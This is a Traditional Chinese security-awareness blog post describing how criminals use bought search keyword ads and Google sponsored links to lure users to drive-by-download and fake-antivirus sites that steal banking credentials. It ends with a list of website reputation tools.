上面這些廣告連結都是餌,會連結到駭客「控制」的網站,利用網頁掛馬的方式,使瀏覽者的電腦植入惡意程式,再利用植入系統的木馬,竊取個人金融資料,盜領帳戶金額。
簡單的說就是在大型搜尋網站買下「關鍵字廣告」行銷,蒐尋「網路銀行」、「航空公司」、「旅行社」、「電腦科技公司」、「人力銀行」等關鍵字會有五十多個假網頁,誤點連結的就可能被植入木馬程式,竊取個人信用資料和帳號密碼,進行盜轉存款、預借現金、小額付費、網路購物等盜領洗錢犯罪。

國外是「利用google adware」的手法,來看看幾張圖:

#Sponsored Links(贊助商連結)

#Sponsored Link(贊助廠商廣告)

#Ads by Google(Google提供的廣告),一般網站有提供google廣告的
以上三張圖出自Sunbelt Blog的這裡還有這裡

看出端倪了嗎?知道上面連結或廣告的差異嗎?「Sponsored Links(贊助商連結)」、「Ads by Google(Google提供的廣告)」及google搜尋的結果,都是可以利用的,搜尋出來的網站可能就是釣魚網站。
我想十之八九都是很難分辨的,所以才會有一堆所謂的「網站信譽評等軟體」來幫你挑出已知有問題的網站;要特別注意的是有列出來的九成九是有問題,沒列出來的也有可能是有問題的,可以參考最後一段。

連上網站,看起來就像是一個防毒軟體的網站,如果下載安裝,結果安裝的會是惡意程式。網站的樣子可以參考這

結論:
1.必須強調,兩手法都是有計畫的行動,註冊網域及贊助廣告...都是要花錢的。
2.以細膩度而言,「利用yahoo關鍵字」手法勝出,因為它一開始就是短期大量,利用相似字眼,所以設計的手法較細膩。
3.以延續性而言,「利用google adware」手法勝出,因為它有釣魚網站的基礎,所以可以打持久戰。
4.「利用yahoo關鍵字」手法利用的都是"別人"的網站,且利用瀏覽器漏洞植入惡意程式,再偷取個人資料的攻擊主軸。
5.「利用google adware」手法完全使用騙術,簡單的說就是騙你是防毒軟體,要你下載檔案安裝,但實際安裝的是惡意程式。
6.是否夾帶其他手法,我想一定有的,至少釣魚郵件就是很好的利用管道。

這裡也整理一下有哪些「網站信譽評等軟體」:
*McAfee SiteAdvisor
http://www.siteadvisor.com/analysis/
*Trend TrendProtect:TrendProtect is a FREE browser plug-in that helps you avoid Web pages with unwanted content and hidden threats.
http://www.trendsecure.com/portal/en-US/tools/security_tools/trendprotect
*Firetrust Sitehound: prevents visits to malicious websites, phishing, spyware, exploits, scams, fraud and more.
http://www.firetrust.com/
http://www.firetrust.com/en/products/sitehound
*Haute Secure: free software to protect your computer from malware
http://hautesecure.com/
*Scandoo: based on ScanSafe's web security technology
http://www.scandoo.com/
*Web Security Guard: Lets you review a website's content, threat level and brief description before you enter it.
http://www.websecurityguard.com/
*WOT, short for "Web of Trust," is a community whose members exchange knowledge of websites: Can they be trusted?
http://www.mywot.com/
*Finjan SecureBrowsing provides you with safety ratings of URLs showing in your browser.
http://securebrowsing.finjan.com/
*Norton Safe Web is a new reputation service from Symantec. Our servers analyze Web sites to see how they will affect you and your computer.
http://safeweb.norton.com/

作者 Crane 為 阿碼科技 資安顧問


繼續閱讀全文...